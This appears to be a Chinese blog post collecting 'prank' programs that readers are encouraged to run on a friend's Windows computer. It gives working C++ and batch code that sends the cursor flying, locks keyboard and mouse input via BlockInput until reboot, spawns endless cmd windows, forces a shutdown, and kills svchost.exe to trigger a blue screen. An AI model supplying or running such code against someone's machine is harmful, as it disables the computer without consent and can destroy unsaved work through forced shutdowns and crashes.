由于作者本人刚刚被人坑了,于是决定收集一些坑人代码,随时欢迎大家用这些代码帮助你最好的朋友(偷笑)
1. 鼠标飞舞(c++)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
srand(rand()*time(0));
int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN); // 获取屏幕大小
while(1)SetCursorPos(rand()%x,rand()%y); // 将鼠标移到随机点
return 0;
}
效果:鼠标会到处乱飞
解决方法:ctrl+c或alt+F4关闭进程
2.锁定(c++)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
while(1)BlockInput(true); // 拒收来自鼠标和键盘的信号
return 0;
}
非常好用(亲自逝过)
效果:无法使用鼠标和键盘
解决方法:重启
3. 鼠标飞舞plus版(c++)
只要将前两种结合起来就行了。
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
srand(rand()*time(0));
int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN); // 获取屏幕大小
while(1){
BlockInput(true); // 拒收来自鼠标和键盘的信号
SetCursorPos(rand()%x,rand()%y); // 将鼠标移到随机点
}
return 0;
}
效果:鼠标到处乱飞且无法使用键盘和鼠标
解决方法:重启
4.炸弹弹窗(.bat)
这也是网络上广为人知的程序。
:start
start cmd
goto start
效果:不断弹出cmd
解决方法:删除.bat文件
5. 关机(c++)
比较低级的陷阱
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("shutdown -s");
return 0;
}
效果:关机
解决方法:如果没有延迟关机,那么可以使用 system("shutdown -a") 终止关机
拓展:调用 system("shutdown -?") 查看更多用法
6. 蓝屏(.bat)
taskkill -f -im svchost.exe
效果:蓝屏
解决方法:重启
暂时只有这些,有空还会更。
538

被折叠的 条评论
为什么被折叠?



